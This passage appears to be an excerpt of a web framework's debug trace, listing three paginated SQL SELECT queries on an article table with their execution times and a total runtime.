  13. SELECT * FROM `article` WHERE `id` < 461075 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.006112s ]
  14. SELECT * FROM `article` WHERE `id` < 461075 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.004990s ]
  15. SELECT * FROM `article` WHERE `id` < 461075 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.006891s ]
0.109948s